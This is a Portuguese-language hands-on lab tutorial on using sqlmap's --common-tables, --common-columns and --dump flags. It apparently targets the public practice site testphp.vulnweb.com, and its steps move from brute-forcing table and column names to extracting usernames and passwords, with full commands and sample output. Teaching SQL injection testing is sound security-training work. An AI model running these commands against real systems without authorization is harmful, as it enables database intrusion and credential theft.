Introdução
Neste laboratório, você explorará técnicas avançadas no sqlmap para descobrir nomes de tabelas e colunas de banco de dados quando os métodos de enumeração padrão são ineficazes. Isso ocorre frequentemente em cenários do mundo real onde aplicações web implementam filtragem robusta ou Firewalls de Aplicação Web (WAFs) que bloqueiam payloads comuns de injeção SQL. Você aprenderá a alavancar as capacidades de força bruta do sqlmap, especificamente as flags --common-tables e --common-columns, para identificar estruturas de banco de dados ocultas usando listas de palavras integradas. Esta experiência prática irá equipá-lo com habilidades essenciais para testes de injeção SQL mais abrangentes.
Identificar um Cenário Onde a Enumeração Padrão Falha
Nesta etapa, você simulará um cenário onde as técnicas de enumeração padrão do sqlmap podem falhar na descoberta de nomes de tabelas e colunas. Isso geralmente acontece devido a WAFs, filtragem rigorosa ou tratamento de erros personalizado que impede o sqlmap de inferir diretamente o esquema do banco de dados. Embora não configuremos uma aplicação verdadeiramente vulnerável para este laboratório, usaremos um URL de placeholder para demonstrar como o sqlmap se comporta quando a enumeração direta não é possível.
Primeiro, vamos tentar um comando de enumeração padrão para tabelas e colunas. Usaremos um URL fictício http://testphp.vulnweb.com/listproducts.php?cat=1 como nosso alvo. Este URL é conhecido por ser vulnerável em alguns contextos, mas para este exercício, assumiremos que ele está configurado para bloquear a enumeração direta.
Abra seu terminal e execute o seguinte comando sqlmap. Este comando tenta enumerar tabelas e colunas para o banco de dados acuart.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
Você pode observar que o sqlmap tem dificuldade em encontrar tabelas ou colunas, ou pode relatar que nenhuma tabela/coluna foi encontrada, mesmo que existam. Isso simula um cenário onde a enumeração direta é bloqueada. A flag --batch instrui o sqlmap a usar respostas padrão para as perguntas, tornando o processo não interativo.
Exemplo de saída (pode variar, mas note a falta de tabelas/colunas descobertas):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
Esta saída indica que o sqlmap não conseguiu enumerar tabelas e colunas diretamente. Nesses casos, a força bruta de nomes comuns se torna uma alternativa viável.
Use a Flag --common-tables para Forçar Nomes de Tabelas
Nesta etapa, você usará a flag --common-tables para forçar nomes de tabelas. Esta flag instrui o sqlmap a usar uma lista de palavras integrada de nomes de tabelas comuns (por exemplo, users, admin, products, orders) e testá-los contra o alvo. Isso é particularmente útil quando a enumeração direta é bloqueada.
Continue usando o mesmo URL alvo http://testphp.vulnweb.com/listproducts.php?cat=1 e o banco de dados acuart.
Execute o seguinte comando sqlmap:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch
Este comando dirá ao sqlmap para tentar identificar nomes de tabelas comuns dentro do banco de dados acuart. O sqlmap iterará através de sua lista de palavras interna e tentará encontrar tabelas existentes.
Exemplo de saída:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
...
Agora você deve ver o sqlmap identificando com sucesso nomes de tabelas comuns como users, products e categories. Isso demonstra a eficácia da força bruta quando a enumeração padrão falha.
Analisar a Lista de Tabelas Encontradas da Lista de Palavras Comuns
Nesta etapa, você revisará a saída do comando anterior para entender quais tabelas comuns o sqlmap identificou com sucesso. Esta análise é crucial para planejar seus próximos passos no processo de injeção de SQL, pois conhecer os nomes das tabelas permite que você direcione dados específicos.
Da saída do comando anterior, o sqlmap deve ter listado várias tabelas comuns. Por exemplo, você pode ter visto:
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
Estas são as tabelas que o sqlmap encontrou forçando sua lista de palavras interna. A presença de tabelas como users é particularmente interessante, pois frequentemente contém informações sensíveis como nomes de usuário e senhas.
Reserve um momento para examinar a saída em seu terminal. Identifique os nomes das tabelas que o sqlmap descobriu. Esses nomes serão usados nas próximas etapas para forçar nomes de colunas.
Nenhum comando específico é necessário para esta etapa, pois ela envolve a análise da saída do comando anterior. Esta etapa enfatiza a compreensão dos resultados de suas operações com sqlmap.
Use a Flag --common-columns para Forçar Nomes de Colunas
Agora que você identificou nomes de tabelas comuns, pode prosseguir para forçar nomes de colunas dentro dessas tabelas. Semelhante a --common-tables, a flag --common-columns usa uma lista de palavras integrada de nomes de colunas comuns (por exemplo, username, password, email, id) para descobrir colunas quando a enumeração direta não é possível.
Vamos supor que você encontrou a tabela users na etapa anterior. Agora você tentará forçar nomes de colunas dentro desta tabela users no banco de dados acuart.
Execute o seguinte comando sqlmap:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch
Este comando instrui o sqlmap a encontrar nomes de colunas comuns dentro da tabela users do banco de dados acuart.
Exemplo de saída:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(50) |
| email | varchar(100)|
+----------+-----------+
...
Você deve ver o sqlmap identificando com sucesso nomes de colunas comuns como id, username, password e email dentro da tabela users. Isso demonstra como a força bruta pode revelar informações críticas mesmo quando a enumeração direta é bloqueada.
Combinar Descoberta por Força Bruta com um Comando de Extração de Dados
Nesta etapa final, você combinará a descoberta por força bruta de nomes de tabelas e colunas com um comando de extração de dados. Assim que você tiver identificado com sucesso tabelas e colunas interessantes usando as flags --common-tables e --common-columns, você poderá usar a flag --dump do sqlmap para extrair os dados reais.
Assumindo que você identificou a tabela users e colunas como username e password nas etapas anteriores, você agora pode tentar extrair os dados dessas colunas.
Execute o seguinte comando sqlmap para extrair as colunas username e password da tabela users no banco de dados acuart:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch
Este comando instruirá o sqlmap a recuperar os dados das colunas especificadas.
Exemplo de saída:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| admin | admin |
+----------+----------+
...
Você deve ver o sqlmap extraindo com sucesso os dados das colunas username e password. Isso demonstra o fluxo de trabalho completo: identificar um cenário onde a enumeração padrão falha, usar força bruta para descobrir estruturas ocultas e, finalmente, extrair dados sensíveis. Esta técnica é uma adição poderosa ao seu conjunto de ferramentas de injeção de SQL.
Resumo
Neste laboratório, você aprendeu como usar efetivamente as capacidades de força bruta do sqlmap para descobrir nomes de tabelas e colunas quando métodos de enumeração padrão são bloqueados ou falham. Você começou simulando um cenário onde a enumeração direta não foi bem-sucedida. Em seguida, você usou com sucesso a flag --common-tables para identificar nomes de tabelas comuns e a flag --common-columns para encontrar nomes de colunas comuns dentro dessas tabelas. Finalmente, você combinou essas técnicas de descoberta com a flag --dump para extrair dados das colunas identificadas. Esta experiência prática forneceu a você uma habilidade crucial para testes avançados de injeção de SQL, permitindo que você contorne defesas comuns e recupere informações valiosas de bancos de dados vulneráveis.
